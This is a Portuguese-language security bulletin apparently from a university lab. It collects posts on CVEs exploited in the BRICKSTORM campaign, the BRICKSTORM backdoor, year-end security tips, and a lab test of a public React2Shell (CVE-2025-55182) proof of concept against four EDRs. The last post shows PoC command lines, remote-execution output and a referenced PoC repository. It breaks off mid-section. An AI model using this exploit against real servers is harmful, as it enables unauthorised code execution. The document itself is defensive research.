Vol. 1 No. 20251226-1078 (2025)

Vulnerabilidades Associadas à Campanha BRICKSTORM e aos Atores UNC5221

Adriano Cansian | adriano.cansian@unesp.br | 26/12/2025

Complementando as informações sobre a campanha BRICKSTORM, sobre a qual falamos em postagem anterior.

Atribuída ao grupo UNC5221 (atores patrocinados pela China), BRICKSTORM está associada a múltiplas vulnerabilidades críticas em dispositivos de perímetro e em infraestruturas de acesso remoto. Embora BRICKSTORM em si não seja uma vulnerabilidade específica (ela é um malware do tipo “backdoor“), os atores exploram várias CVEs para obter acesso inicial aos ambientes das vítimas.

A seguir listamos todas as CVEs que apuramos estarem associadas a essa campanha. Nossa recomendação é que o leitor faça a gestão de vulnerabilidades e corrija ou mitigue essas vulnerabilidades, para evitar ser vítima dessa campanha.

Observação: os valores de EPSS foram levantados em 26/12/2025.


CVEs Explorados por UNC5221

1. CVE-2025-0282 e CVE-2025-0283 (Ivanti Connect Secure)

Tipo: Buffer Overflow / Autenticação.

Plataforma: Ivanti Connect Secure (“ICS”) VPN appliances.

Versões Afetadas: 22.7R2.5 e anteriores

Data de Divulgação: 8 de janeiro de 2025.

Severidade: Crítica

EPSS (CVE-2025-0282): 94.11% – Probabilidade muito alta de exploração nos próximos 30 dias.

EPSS (CVE-2025-0283): 22.99% – Probabilidade moderada de exploração nos próximos 30 dias.

Descrição: CVE-2025-0282 é um buffer overflow baseado em stack não autenticado que permite execução remota de código (RCE). Exploração bem-sucedida resulta em acesso não autenticado ao appliance VPN, levando a comprometimento potencial de toda a rede downstream.

Exploração por UNC5221: Zero-day exploitation começou em meados de dezembro de 2024. Após exploração, UNC5221 implanta múltiplas famílias de malware customizado incluindo ZIPLINE, THINSPOOL, LIGHTWIRE e WARPWIRE.

Técnicas Pós-Exploração:

  • Desabilitar SELinux;
  • Bloquear syslog forwarding via iptables;
  • Remontar drive como read-write;
  • Implantar web shells em getComponent.cgi e restAuth.cgi;
  • Usar PHASEJAM dropper para modificações persistentes;
  • Simular atualizações do sistema para evitar detecção.

2. CVE-2025-22457 (Ivanti Connect Secure)

Tipo: Buffer Overflow.

Plataforma: Ivanti Connect Secure VPN appliances.

Versões Afetadas: 22.7R2.5 e anteriores, 9.x (end of life).

Data de Divulgação: 3 de abril de 2025.

Severidade: Crítica.

EPSS: 49.13% – Probabilidade moderada-alta de exploração nos próximos 30 dias

Descrição: Buffer overflow que permite execução remota de código. Exploração bem-sucedida resulta em RCE no appliance VPN.

Exploração por UNC5221: Exploração ativa observada desde março de 2025. Após exploração inicial, UNC5221 implanta BRICKSTORM e outras ferramentas de backdoor para manter acesso persistente.


3. CVE-2023-46805 (Ivanti Connect Secure)

Tipo: Authentication Bypass.

Plataforma: Ivanti Connect Secure VPN.

Data de Descoberta: Dezembro de 2023.

Severidade: Crítica.

EPSS: 94.37% – Probabilidade muito alta de exploração nos próximos 30 dias.

Descrição: Bypass de autenticação que permite acesso não autorizado ao appliance.

Exploração por UNC5221: Explorado desde dezembro de 2023 como parte de campanha de longa duração. Combinado com CVE-2024-21887 para obter acesso inicial.

Malware Implantado: ZIPLINE (passive backdoor), THINSPOOL (dropper), LIGHTWIRE (web shell), WARPWIRE (credential harvester).


4. CVE-2024-21887 (Ivanti Connect Secure)

Tipo: Command Injection.

Plataforma: Ivanti Connect Secure VPN.

Data de Descoberta: 2023-2024.

Severidade: Crítica.

EPSS: 94.41% – Probabilidade muito alta de exploração nos próximos 30 dias.

Descrição: Injeção de comando que permite execução de comandos arbitrários.

Exploração por UNC5221: Explorado em conjunto com CVE-2023-46805 para obter acesso inicial e executar código malicioso.


5. CVE-2023-4966 (Citrix NetScaler ADC/Gateway)

Tipo: Divulgação de Informação Sensível / Buffer Overflow.

Plataforma: Citrix NetScaler ADC e NetScaler Gateway appliances.

Severidade: Crítica.

EPSS: 94.35% – Probabilidade muito alta de exploração nos próximos 30 dias.

Exploração por UNC5221: Zero-day exploitation documentado. Parte do histórico de UNC5221 de exploração de zero-days em dispositivos edge.


Relação com BRICKSTORM

Como já mencionado, BRICKSTORM não é uma vulnerabilidade específica, mas sim um malware backdoor implantado após exploração bem-sucedida de uma das CVEs acima. O fluxo típico de ataque é:

  1. Acesso Inicial: Exploração de CVE em dispositivo edge (Ivanti, NetScaler, etc.).
  2. Implantação de Malware: Após RCE, UNC5221 implanta BRICKSTORM ou outras ferramentas de backdoor.
  3. Persistência: BRICKSTORM estabelece comunicação C2 criptografada e permite movimento lateral.
  4. Movimento Lateral: BRICKSTORM facilita acesso a VMware vCenter, controladores de domínio e outros sistemas críticos.

Ecosistema de Malware Associado

UNC5221 utiliza um ecosistema de malware sofisticado chamado SPAWN, que inclui:

  • SPAWNANT: Installer/loader.
  • SPAWNMOLE: Tunneler para movimento lateral.
  • SPAWNSNAIL: SSH backdoor.
  • SPAWNCHIMERA: Variante adicional
  • ZIPLINE: Passive backdoor.
  • THINSPOOL: Dropper.
  • LIGHTWIRE: Web shell.
  • WARPWIRE: Credential harvester.
  • PHASEJAM: Dropper específico para Ivanti.
  • BRICKSTORM: Backdoor para VMware e Windows.

Padrão Operacional de UNC5221

  1. Foco em Edge Devices: Preferência consistente por exploração de vulnerabilidades em appliances de perímetro (VPN, load balancers, etc.).
  2. Zero-Day Exploitation: Histórico de acesso e exploração de vulnerabilidades zero-day.
  3. Desenvolvimento Ativo: Contínuo desenvolvimento e modificação de malware.
  4. Ofuscação de Origem: Uso de redes de appliances comprometidos (Cyberoam, QNAP, ASUS routers) para mascarar origem real.
  5. Movimento Lateral Sofisticado: Após acesso inicial, movimento lateral para infraestrutura crítica com mínima telemetria
  6. Persistência de Longo Prazo: Tempo médio de permanência não detectada de 393 dias.

O Tempo médio de permanência não detectada do BRICKSTORM é de 393 dias


Recomendações

  1. Manter patches atualizados em todos appliances edge.
  2. Implementar monitoramento especializado em dispositivos VPN e load balancers.
  3. Usar MFA em todos acessos administrativos.
  4. Implementar segmentação de rede adequada.
  5. Monitorar atividades de reconhecimento (requisições sequenciais de versão).
  6. Realizar busca ativa (hunt) por artefatos de BRICKSTORM em VMware vCenter.

Referências

  • Google Threat Intelligence Group. “Ivanti Connect Secure VPN Targeted in New Zero-Day Exploitation.” 8/12/2025
  • Google Threat Intelligence Group. “Suspected China-Nexus Threat Actor Actively Exploiting Critical Ivanti Connect Secure Vulnerability (CVE-2025-22457).” 3/04/2025
  • Mandiant Services. “Another BRICKSTORM: Stealthy Backdoor Enabling Espionage into Tech and Legal Sectors.” 24/09/2025
  • CISA. “BRICKSTORM Backdoor – Malware Analysis Report (AR25-338A).” 19/12/2025

Vol. 1 No. 20251224-1075 (2025)

BRICKSTORM: A sofisticação silenciosa de um backdoor patrocinado por Estado

Adriano Cansian | adriano.cansian@unesp.br | 24/12/2025

Em 4 de dezembro de 2025, a Cybersecurity and Infrastructure Security Agency (CISA), a National Security Agency (NSA) e o Canadian Centre for Cyber Security publicaram um comunicado conjunto alertando sobre uma nova e altamente sofisticada campanha de malware denominada BRICKSTORM.

Mais do que um backdoor convencional, o BRICKSTORM representa uma ameaça sistêmica a ambientes de virtualização, infraestrutura de identidade e operações corporativas críticas, explorando exatamente os pontos onde a visibilidade de segurança costuma ser limitada ou inexistente.

O relatório técnico AR25-338A, atualizado em 19 de dezembro de 2025, descreve em detalhes as capacidades avançadas do malware e disponibiliza indicadores de comprometimento destinados a apoiar equipes de defesa. Investigações conduzidas em resposta a incidentes revelam um dado alarmante, o tempo médio de permanência não detectada nos ambientes comprometidos chega a 393 dias, evidenciando o nível de evasão operacional alcançado pelos atores responsáveis.

A campanha é atribuída a atores patrocinados pelo Estado da República Popular da China, com foco em acesso persistente, coleta de credenciais privilegiadas e exploração silenciosa de infraestruturas críticas.


1. Visão Geral Técnica

O BRICKSTORM é um backdoor modular desenvolvido para ambientes VMware vSphere, incluindo vCenter e ESXi, além de sistemas Windows. Até o momento, foram identificadas pelo menos oito amostras distintas, coletadas a partir de ambientes reais de vítimas, incluindo organizações atendidas diretamente pela CISA em operações de resposta a incidentes.

O malware foi desenvolvido em linguagem Go, uma escolha arquitetural estratégica que permite portabilidade entre plataformas Linux, BSD e Windows. Esse fator é especialmente relevante porque possibilita a implantação do BRICKSTORM em appliances de perímetro e componentes de infraestrutura que normalmente não contam com EDRs ou agentes de segurança tradicionais, reduzindo drasticamente a superfície de detecção.


1.1. Vetores de Infecção e Acesso Inicial

A análise de múltiplos incidentes revela um padrão recorrente nos vetores de ataque utilizados. O acesso inicial ocorre, predominantemente, por meio da exploração de vulnerabilidades em dispositivos de perímetro e sistemas de acesso remoto , incluindo appliances de rede expostos à Internet (veja esss outra postagem sobre as vulnerabilidades associadas ao ataque inicial).

Em pelo menos um dos casos documentados, os atores exploraram vulnerabilidades zero-day, indicando acesso a capacidades avançadas de desenvolvimento e manutenção de exploits.

Após o comprometimento inicial, geralmente por meio de web shells implantadas em servidores na DMZ, os atores realizam movimento lateral utilizando protocolos amplamente disponíveis como RDP e SMB. Durante esse processo, credenciais são sistematicamente coletadas e reutilizadas para acessar sistemas críticos, incluindo controladores de domínio e servidores ADFS.

Em um incidente investigado pela CISA, os atacantes mantiveram acesso persistente desde abril de 2024. A partir de uma web shell em um servidor web da DMZ, o grupo avançou lateralmente até o vCenter, onde implantou o BRICKSTORM como mecanismo de persistência de longo prazo.

Esse padrão reforça um ponto crítico, a campanha não depende de exploração ruidosa, mas sim de progressão metódica e silenciosa dentro da rede.


1.2. Persistência e Mecanismos de Autoproteção

O BRICKSTORM implementa mecanismos robustos de persistência, projetados para resistir a tentativas de remoção parcial ou reinicializações do sistema. Um dos componentes mais relevantes é sua função de auto-vigilância, que monitora continuamente o próprio processo e o reinicia automaticamente caso seja interrompido.

Em sistemas Linux e Unix, o malware é implantado em diretórios sensíveis, como /etc/sysconfig/, e integrado aos scripts de inicialização do sistema. Em ambientes VMware, modificações são realizadas diretamente nos arquivos de inicialização do hypervisor, garantindo carregamento precoce durante o boot.

As amostras analisadas indicam desenvolvimento ativo, com uso de obfuscação por ferramentas como Garble e versões customizadas de bibliotecas. Algumas variantes incluem timers programados para atrasar a comunicação com o C2, aguardando datas específicas, um indicativo claro de planejamento operacional e tentativa de evitar correlação temporal com o incidente inicial.


2. Capacidades Técnicas Avançadas

2.1. Comunicação de Comando e Controle

O canal de comando e controle do BRICKSTORM foi projetado para dificultar ao máximo a inspeção e correlação por SOCs tradicionais. O malware combina múltiplas camadas de comunicação e criptografia:

  • HTTPS como camada de transporte básica.
  • WebSockets para multiplexação de sessões.
  • TLS aninhado na camada de aplicação.
  • DNS-over-HTTPS (DoH) para ocultar resolução de nomes.

Na prática, essa combinação quebra modelos clássicos de detecção baseados em DNS, proxy e inspeção de tráfego, especialmente em ambientes onde appliances de perímetro são tratados como “caixas pretas” do ponto de vista de segurança.

A infraestrutura de C2 observada inclui uso de Cloudflare Workers, aplicações Heroku e serviços de DNS dinâmico como sslip.io e nip.io. Um aspecto particularmente relevante é a ausência de reutilização de domínios C2 entre vítimas, indicando operações altamente compartimentalizadas e orientadas à evasão.


2.2. Funcionalidades de Controle Remoto

Uma vez estabelecida a comunicação, o BRICKSTORM oferece aos operadores um conjunto completo de capacidades de controle remoto:

  • Shell interativo para execução de comandos arbitrários.
  • Gerenciamento completo de arquivos.
  • Proxy SOCKS para facilitação de movimento lateral.
  • API HTTP para operações administrativas.
  • Suporte a VSOCK, permitindo comunicação inter-VM em ambientes virtualizados.

Essas funcionalidades transformam o sistema comprometido em um ponto de apoio operacional, capaz de sustentar operações de espionagem de longo prazo.


3.3. Escalação de Privilégios em Ambientes vCenter

Um dos aspectos mais sofisticados da campanha é a implantação de um Servlet Filter malicioso, rastreado como BRICKSTEAL, no Apache Tomcat que hospeda a interface web do vCenter.

Esse componente intercepta requisições HTTP relacionadas à autenticação SAML2, decodificando headers que podem conter credenciais em texto claro. Considerando que muitas organizações integram o vCenter ao Active Directory, o impacto potencial é elevado.

Com credenciais administrativas em mãos, os atores exploram recursos legítimos do vCenter para clonar máquinas virtuais críticas, como controladores de domínio. Essas clones permitem a extração offline de artefatos sensíveis, incluindo o banco ntds.dit, sem disparar alertas nos sistemas originais.

Esse método ilustra um ponto essencial, a virtualização deixa de ser apenas alvo e passa a ser ferramenta do ataque.


3. Indicadores de Comprometimento e Detecção

A CISA disponibilizou um conjunto abrangente de indicadores técnicos, incluindo nomes de arquivos, diretórios, variáveis de ambiente, padrões de tráfego e modificações em sistemas.

Apesar da utilidade desses IoCs, o próprio perfil da campanha indica que a detecção eficaz depende muito mais de hunting ativo, análise comportamental e baseline de ambientes virtualizados do que de simples correspondência por assinatura.

Regras YARA e Sigma, hashes conhecidos e análise forense de logs devem ser tratados como ponto de partida, não como solução definitiva.


4. Contexto de Ameaça e Atores

A atividade foi atribuída ao grupo UNC5221, associado a operações patrocinadas pela China, conforme documentado pelo Google Threat Intelligence Group e pela Mandiant.

Os setores-alvo incluem governo, TI, serviços jurídicos, SaaS e BPOs, organizações que frequentemente operam como nós intermediários de acesso a dados, identidades e infraestrutura crítica.

O longo tempo de permanência e a baixa geração de telemetria indicam que os operadores monitoram ativamente os ambientes comprometidos e adaptam suas técnicas diante de sinais de investigação, reforçando o caráter persistente da ameaça.


5. Recomendações de Mitigação

As recomendações das agências incluem:

  • Hunting ativo em vCenter, ESXi e appliances de perímetro
  • Implementação rigorosa de MFA para acessos administrativos
  • Segmentação entre DMZ e infraestrutura crítica
  • Revisão contínua de logs de autenticação e alterações em ambientes virtualizados
  • Aplicação tempestiva de patches de segurança em plataformas VMware

Organizações que identifiquem indícios de comprometimento devem acionar a CISA e considerar engajamento imediato de equipes especializadas em resposta a incidentes.


6. Conclusão

O BRICKSTORM não é apenas mais um backdoor sofisticado. Ele representa uma mudança clara na forma como atores patrocinados por Estados exploram virtualização, identidade e confiança operacional.

Ao operar quase invisivelmente em camadas tradicionalmente pouco monitoradas, essa campanha desafia modelos clássicos de defesa e reforça a necessidade de visibilidade real sobre infraestrutura, não apenas sobre endpoints.

Para SOCs, MSPs e organizações que operam ambientes híbridos e virtualizados, a lição é inequívoca, virtualização deixou de ser apenas plataforma, passou a ser superfície de ataque crítica.


Referências

  1. CISA. (2025, December 4). “PRC State-Sponsored Actors Use BRICKSTORM Malware Across Public Sector and Information Technology.https://www.cisa.gov/news-events/alerts/2025/12/04/prc-state-sponsored-actors-use-brickstorm-malware-across-public-sector-and-information-technology
  2. CISA. (2025, December 19 ). “BRICKSTORM Backdoor – Malware Analysis Report (AR25-338A).” https://www.cisa.gov/news-events/analysis-reports/ar25-338a
  3. NSA. (2025, December 4 ). “NSA Joins CISA to Release Guidance on Detecting BRICKSTORM Backdoor Activity.” https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/4348338/
  4. Canadian Centre for Cyber Security. (2025, December 4 ). “Joint Malware Analysis Report on Brickstorm Backdoor.https://www.cyber.gc.ca/en/news-events/joint-malware-analysis-report-brickstorm-backdoor
  5. Google Threat Intelligence Group & Mandiant. (2025, September 24 ). “Another BRICKSTORM: Stealthy Backdoor Enabling Espionage into Tech and Legal Sectors.https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign

Vol. 1 No. 20251222-1002 (2025)

Incidente como presente de Natal?

Hector Carlos Frigo | hector@cylo.com.br | 22/12/2025

O período de festas está se aproximando e, com ele, o tão esperado “recesso de fim de ano”, época muito aguardada por trabalhadores que buscam aproveitar esse momento para passar tempo com a família e descansar. Como sempre, nem tudo são flores. Sendo assim, nesta minha abordagem, gostaria de levantar alguns alertas que devem ser considerados e que, caso sejam desprezados, podem resultar no recebimento de uma ligação desesperada do seu gestor às 3:00 da manhã, na madrugada do dia de Natal.

Menor Contingente, maiores riscos!

Neste período do ano, empresas costumam atuar com equipes reduzidas, fato que resulta em um número notavelmente menor de colaboradores ativos e capazes de identificar mudanças ou mau funcionamento dos sistemas utilizados internamente. Os atacantes sabem disso e abusam dessa situação. Afinal, quanto menos olhos voltados para ações disruptivas no sistema, maior a chance de um ataque cibernético passar despercebido.

A diminuição do contingente pode afetar diretamente o tempo de resposta dos potenciais incidentes, fazendo com que alertas se acumulem, investigações sejam postergadas e ações de contenção ocorram de maneira tardia.

Atente-se às promoções relâmpago de fim de ano!

Todo mundo já recebeu aquele e-mail de origem duvidosa informando que está ocorrendo uma promoção “imperdível” do panetone que antes custava R$ 300,00 e que, para você, sortudo(a), está agora custando “APENAS” R$ 29,99. Lembre-se: o barato pode sair caro. O número de casos de golpes, fraudes e phishing aumenta gradativamente em períodos festivos, portanto, fique alerta, desconfie!

Se não for crítico ou essencial; Desative! Desligue! Esconda!

Muitas atividades são pausadas no ambiente corporativo durante o fim do ano, por inúmeros motivos, desde a reformulação de processos internos até transições de ferramentas. Com base nisso, muitos serviços ativos, como páginas publicadas na internet e servidores com portas RDP expostas para o mundo, acabam sendo esquecidos e permanecem em operação sem o devido gerenciamento e cuidado. Lembre-se: serviços ativos esquecidos podem servir como um convite para a ceia de Natal destinada a atores maliciosos.

Aproveite o período de festas de fim de ano com menos preocupações

Seguindo alguns passos simples, é possível reduzir muito sua superfície de ataque. Isso não significa que você não sofrerá um ataque cibernético neste fim de ano, porém, ao seguir essas dicas, garanto que os riscos serão bem menores, e as chances de aproveitar as festas de fim de ano sem maiores problemas são mais favoráveis.

  • Desative contas de serviço que não serão utilizadas nesse período festivo
  • Faça uma revisão na sua rede em busca de serviços não essenciais ativos e expostos para a internet
  • Desconfie de promoções milagrosas, consulte a informação nos sites oficiais
  • Não deixe correções de vulnerabilidades para o ano que vem, pode ser tarde demais!
  • Não ignore os alertas de segurança, eles não são enfeites de árvore de Natal
  • Revise políticas de senhas de usuários e ativação de MFA

Fontes

https://securityleaders.com.br/golpes-ciberneticos-disparam-no-fim-de-ano-afirma-analise

https://exame.com/tecnologia/final-do-ano-se-consolida-como-periodo-de-maior-risco-cibernetico-no-brasil

https://www.tecmundo.com.br/seguranca/409449-cibercriminosos-intensificam-ataques-no-fim-de-ano-com-golpes-de-natal.htm

Vol. 1 No. 20251212-1049 (2025)

EDRs falham em identificar e bloquear vulnerabilidade React2Shell

Artur Spadoni | artur.spadoni@acmesecurity.org | 12/12/2025

1. Introdução

Como já discutido em uma postagem anterior aqui no “O Diário” O React é uma biblioteca gratuita e open-source para JavaScript, amplamente utilizada na construção de interfaces web modernas. Embora originalmente projetado para execução no lado do cliente, suas versões mais recentes passaram a integrar mecanismos de renderização no servidor por meio dos React Server Components, suportados pelo React Flight Protocol. Essa adoção massiva faz com que vulnerabilidades em seu ecossistema, especialmente nas camadas server-side introduzidas recentemente, possam ter impactos significativos. É o caso da vulnerabilidade apelidada “React2Shell”, catalogada como CVE-2025-55182 pela National Vulnerability Database (NVD) em 3 de dezembro de 2025.

Este relatório tem como objetivo apresentar e demonstrar uma Prova de Conceito (PoC) pública relacionada à CVE-2025-55182, como esta pode ser explorada e o porquê de ser alarmante e crítica.

Além disso, investigamos e descobrimos que, de 4 EDRs padrões de mercado testados, 3 deles não conseguiram detectar ou bloquear o ataque.

Serão descritos:

  • Aspectos técnicos da vulnerabilidade;
  • Um método de exploração em ambiente controlado; e
  • Como plataformas de monitoramento são essenciais para a mitigação de ataques cibernéticos.

2. Visão Geral

A CVE-2025-55182 é uma vulnerabilidade de execução remota de código (RCE) que afeta aplicações que utilizam React Server Components por meio do React Flight Protocol, incluindo frameworks como o Next.js até a versão 16.0.6. A falha permite que um atacante execute comandos arbitrários no servidor enviando payloads maliciosos em requisições POST. A exploração ocorre devido à forma inadequada como o servidor desserializa estruturas recebidas pelo RFP: as funções responsáveis pela reconstrução dos modelos, em especial reviveModel(), não validam corretamente objetos contendo o campo __proto__ e cadeias de métodos then. Isso possibilita a introdução de um pseudo-objeto capaz de manipular o protótipo e acessar o construtor global Function,  utilizado para executar comandos do sistema operacional sem autenticação ou privilégios adicionais.

2.1. Detalhes Técnicos

De acordo com indicadores oficiais, os seguintes detalhes foram levantados:

CategoriaDetalhes
SeveridadeCVSS 3.x: 10.0 (Critica)
Data de publicação3 de dezembro de 2025
Complexidade de exploraçãoBaixa – Requer requisição POST para um servidor vulnerável
Produto afetadoReact 19, Next.js 15.0.0 a 16.0.6
Fraqueza AssociadaCWE-502 – Desserialização de informação não confiável
Pontuação EPSS1`3.40 % (em 08/12/2025)
77.80% (em 10/12/2025)
76.01% (em 11/12/2025)
Patch de correçãoPacote NPM (lançado 5 de dezembro de 2025, 06h29 UTC)
Setores AlvosE-commerce, SaaS, Fintech, Plataformas de Streaming

2.2. Principal Vetor

O principal vetor de exploração da CVE-2025-55182 consiste no envio de requisições POST contendo payloads maliciosos que se passam por objetos válidos do React Flight Protocol. Esses payloads utilizam pseudo-objetos, incluindo estruturas manipuladas com campos como __proto__ e cadeias then, que exploram a desserialização insegura realizada pelo servidor. Ao aceitar e processar esses objetos sem validação adequada, o RFP permite que o atacante desencadeie execução arbitrária de código no ambiente server-side.

2.3. Grupos de Criminosos

Segundo a equipe de threat intelligence da Amazon, diversos atores de ameaça classificados como China-nexus, incluindo Earth Lamia e Jackpot Panda, iniciaram a exploração da CVE-2025-55182 poucas horas após sua divulgação em 3 de dezembro de 2025. Em análises de casos semelhantes envolvendo vulnerabilidades de desserialização e execução remota de código. A Unit 42 observou que esses grupos tendem a desenvolver rapidamente variantes próprias dos exploits, ajustando payloads e técnicas de obfuscar para aumentar a taxa de sucesso e reduzir a detecção. Esse padrão, já documentado pela Unit 42 em outras campanhas com perfis similares, reforça a probabilidade de múltiplos atores terem adaptado rapidamente a PoC pública para explorar React2Shell de diferentes maneiras.


3. Explorando a CVE-2025-55182

Foram utilizados 5 ambientes de laboratório, a fim de simular ambientes vulneráveis e um atacante para testar o comportamento da CVE-2025-55182 e avaliar a competência de diferentes monitoradores de dispositivos (EDRs – Endpoint Detection and Response).

Os ambientes propositalmente vulneráveis foram configurados com sistema operacional Windows 11 e utilizando a versão vulnerável Next.js 16.0.0 para o web-server, totalizando 4 ambientes com soluções de EDR distintas (os nomes dos EDRs não serão divulgados). Para simular o atacante utilizou-se o Kali Linux sem modificações.

IMPORTANTE: Note que nosso foco foi pesquisar EDRs, portanto, propositalmente, não foram utilizadas outras camadas de proteção, tais como WAF ou firewall local. Note também que o ataque não seria possível caso o Next.js já tivesse sido atualizado, ou seja, a aplicação de path é uma das camadas de segurança capaz de deter esse ataque.

Os testes e ensaios foram realizados entre os dias 8 a 12/12/2025 no laboratório ACME! Cybersecutiry Research, na UNESP de São José do Rio Preto. Todos os experimentos foram repetidos 3 vezes para verificação de erros.

3.1. Construção do Exploit e Criação do Payload

A exploração foi realizada utilizando a PoC disponibilizada publicamente no GitHub em 4 de dezembro de 2025 pelo engenheiro de software Moritz Sanft (“msanft”). A PoC é composta por um script em Python responsável por construir o payload malicioso e enviá-lo a um servidor vulnerável. O repositório também inclui a pasta test-server, contendo um ambiente mínimo baseado em Next.js com React Server Components, utilizado para demonstrar a vulnerabilidade em funcionamento

De forma resumida, as etapas adotadas no laboratório foram as seguintes:

  1. Instalar o Node.js e Next.js, nas versões vulneráveis nos ambientes alvo, garantindo que o projeto com RSC esteja devidamente configurado.
  2. Acessar a pasta test-server ou o diretório correspondente pelo terminal, e executar o comando ‘npm run dev’ para iniciar o servidor.
  3. No ambiente ofensivo (Kali Linux), executar o script ‘poc.py’ fornecido na PoC, informando argumentos necessários, simulando a execução remota.
PS C:\Users\[username]\Desktop\CVE2025-55182\test-server> npm install next
up to date, audited 357 packages in 3s

141 packages are looking for funding
run `npm fund` for details

1 critical severity vulnerability

Figura  1 – Node.js indicando vulnerabilidade crítica; note que a versão utilizada está, de fato, exposta.

3.2. Execução da PoC

O script da PoC (poc.py) aceita dois argumentos chaves, endereço IPv4+Porta (por exemplo, “127.0.0.0:80”) seguido pelo comando shell desejado ou payload (“whoami” ou até um reverse shell). Durante a execução no ambiente Kali Linux, o script constrói o ‘chunk’ serializado do Flight Protocol abusando da falha de desserialização, anexando a poluição do proto e o objeto “then-ável” que dispara durante a resolução do servidor nos ambientes.

O atacante executa comandos simples, como:

$ python3 poc.py 192.168.X.X "echo teste"

$ python3 poc.py 192.168.X.X "dir"

┌─(kali@kali)-[~]
└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "echo pwnd by sylvester"
500
:N176530853660.821
0:{"a":"$@1","f":"","b":"development"}
1:D["time":0.649100000002363Z]
1:E["digest":"pwnd by sylvester","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]

┌─(kali@kali)-[~]
└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "dir"
500
:N176530855033Z.197
0:{"a":"$@1","f":"","b":"development"}
1:D["time":0.465700000006519]
1:E["digest":"Volume in drive C has no label.\r\n Volume Serial Number is E86C-A9DF\r\n\r\n Directory of C:\Users\fantomas\Drive\PoC-2025-5-3-mail-main\test-server\n\n 12/09/2025  04:23 PM    <DIR>                  . 12/09/2025  04:23 PM                 -0 .gitignore\r\n12/09/2025  04:28 PM           480 .gitignore\r\n12/09/2025  04:23 PM    <DIR>        next\r\n12/09/2025  04:23 PM           465 eslint.config.mjs\r\n12/09/2025  04:28 PM           257 next-env.d.ts\r\n12/09/2025  04:23 PM             1 33 next.config.ts\r\n12/09/2025  04:28 PM    <DIR>        node_modules\r\n12/09/2025  04:28 PM           227,243 package-lock.json\r\n12/09/2025  04:23 PM           567 package.json\r\n12/09/2025  04:23 PM    <DIR>        public\r\n12/09/2025  04:23 PM             1,450 README.md\r\n12/09/2025  04:23 PM             338,468 bytes\r\n12/09/2025  04:23 PM             0 File(s)    107,770,0 97,664 bytes free","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]

Figura  2 – Disparo da PoC pelo atacante

Invalid source map. Only conformant source maps can be used to find the original code. Cause: Error: sourceMap
URL could not be parsed
✖ Error: NEXT_REDIRECT
  at ignore-listed frames {
  digest: 'Volume in drive C has no label.\r\n' +
    'Volume Serial Number is E86C-A9DF\r\n' +
    '\r\n' +
    'Directory of C:\\Users\\jubaluba\\lala\\CVE-2025-55182-main\\test-server\r\n' +
    '\r\n' +
    '12/09/2025  04:28 PM    <DIR>                  .\r\n' +
    '12/09/2025  04:23 PM    <DIR>                ..\r\n' +
    '12/09/2025  04:23 PM             480 .gitignore\r\n' +
    '12/09/2025  04:28 PM    <DIR>                .next\r\n' +
    '12/09/2025  04:23 PM    <DIR>                app\r\n' +
    '12/09/2025  04:23 PM           107,113 bun.lock\r\n' +
    '12/09/2025  04:23 PM             465 eslint.config.mjs\r\n' +
    '12/09/2025  04:28 PM             257 next-env.d.ts\r\n' +
    '12/09/2025  04:23 PM             133 next.config.ts\r\n' +
    '12/09/2025  04:28 PM    <DIR>                node_modules\r\n' +
    '12/09/2025  04:28 PM           227,243 package-lock.json\r\n' +
    '12/09/2025  04:23 PM             567 package.json\r\n' +
    '12/09/2025  04:23 PM              94 postcss.config.mjs\r\n' +
    '12/09/2025  04:23 PM    <DIR>                public\r\n' +
    '12/09/2025  04:23 PM           1,450 README.md\r\n' +
    '12/09/2025  04:23 PM             666 tsconfig.json\r\n' +
    '             10 File(s)        338,468 bytes\r\n' +
    '              6 Dir(s)  107,770,097,664 bytes free'
}
POST / 500 in 43ms (compile: 4ms, render: 39ms)

Figura  3 – Execução remota no servidor

File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request
    resp = self.send(prep, **send_kwargs)
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send
    r = adapter.send(request, **kwargs)
File "/usr/lib/python3/dist-packages/requests/adapters.py", line 682, in send
    raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))

┌─(kali@kali)-[~]
└─$ python3 PoC_react/poc.py "http://172.31.222.21:3000" "dir"

Figura  4 – Mensagem de erro no ambiente atacante após ser interceptado

3.4 Consideraçõe éticas e créditos

Todos os testes foram feitos em rede isolada de laboratório, com versões fora de produção (React 19.00 – 19.2.0), e divulgadas apenas após mitigação; pesquisadores devem creditar devidamente a PoC utilizada, neste caso a Moritz Sanft, e aderir divulgações similares.

O PoC de Sanft explora uma aplicação Next.js padrão (criada via create-next-app), enviando payloads em parâmetros como “0” e “1” para manipular chunks de resposta e executar comandos como “id > /tmp/pwned” via child_process.execSync. Diferente de PoCs iniciais não funcionais (como ejpir/CVE-2025-55182-poc), o código de Sanft foi amplamente adotado em scans reais, precedendo o PoC oficial de Lachlan Davidson.

O repositório oficial é https://github.com/msanft/CVE-2025-55182, contendo explicação detalhada e código completo de RCE para React Server Functions em Next.js. Foi lançado em 4 de dezembro de 2025.


4. Resultados e Observações

Nos testes realizados com os ambiente, observou-se o seguinte comportamento:

Dos 4 agentes de proteção (EDRs) testados, apenas um conseguiu detectar e impedir a atividade maliciosa em tempo real. O agente gerou alertas específicos:

O Monitorador de Rede bloqueou uma tentativa de ataque.

    –  A tentativa mal-intencionada Exploit.CommandInjection.299[…]

    –  A tentativa mal-intencionada Exploit.HTTP.CVE-2025-55182[…]

Os alertas identificaram o exploit, a CVE relacionada e o local sendo atacado, além de impedir o ataque. Para os outros 3 ambientes testados, o payload foi extraído sem qualquer alerta, demonstrando a criticidade e evidenciando a necessidade de reforçar os EDR’s com métodos de mitigação, adequados a esta vulnerabilidade, e outras camadas de segurança.

A tabela a seguir resume os resultados observados:

AmbienteEDR/AntivírusExecução do AtaqueAlertas?Bloqueio?
1EDR XPToASucessoNãoNão
2EDR XPToBSucessoNãoNão
3EDR XPToCSucessoNãoNão
4EDR XPToDBloqueadoSimSim

4.1. Sobre os ambientes que não perceberam qualquer atividade

